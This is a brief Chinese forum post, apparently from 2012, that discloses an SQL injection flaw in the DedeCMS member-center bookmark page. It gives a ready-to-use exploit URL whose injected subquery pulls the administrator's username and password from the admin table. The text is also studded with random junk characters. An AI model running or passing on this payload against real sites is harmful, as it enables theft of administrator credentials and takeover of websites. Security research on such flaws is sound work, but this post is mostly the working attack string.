DedeCMS会员中心SQL注射漏洞
6 G. R, D/ n$ ?: O* {$ u3 F# `需要magic_quotes_gpc = Off) L$ f: C8 s. Y1 R$ L
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码./ p* e8 ?* } `4 s) d
! L* ?1 v* ?! E u8 V# _6 M
DedeCMS会员中心书签管理SQL注射漏洞
M$ ]; x' S6 h+ g$ `成功利用该漏洞可获得管理员密码
' `9 q) q; z! M" t2 Z# C% Y/ H* a! Z 6 `3 e$ W& ]4 S0 ?4 M* F) D& i2 d
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码- W: N6 R( c4 S
% R% Z* g' `% X: |3 \
http://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r. l' Z& S! Y, i% G/ E
|
发表于 2012-12-31 09:21:18
收藏
支持
反对
发表于 2013-1-10 01:33:59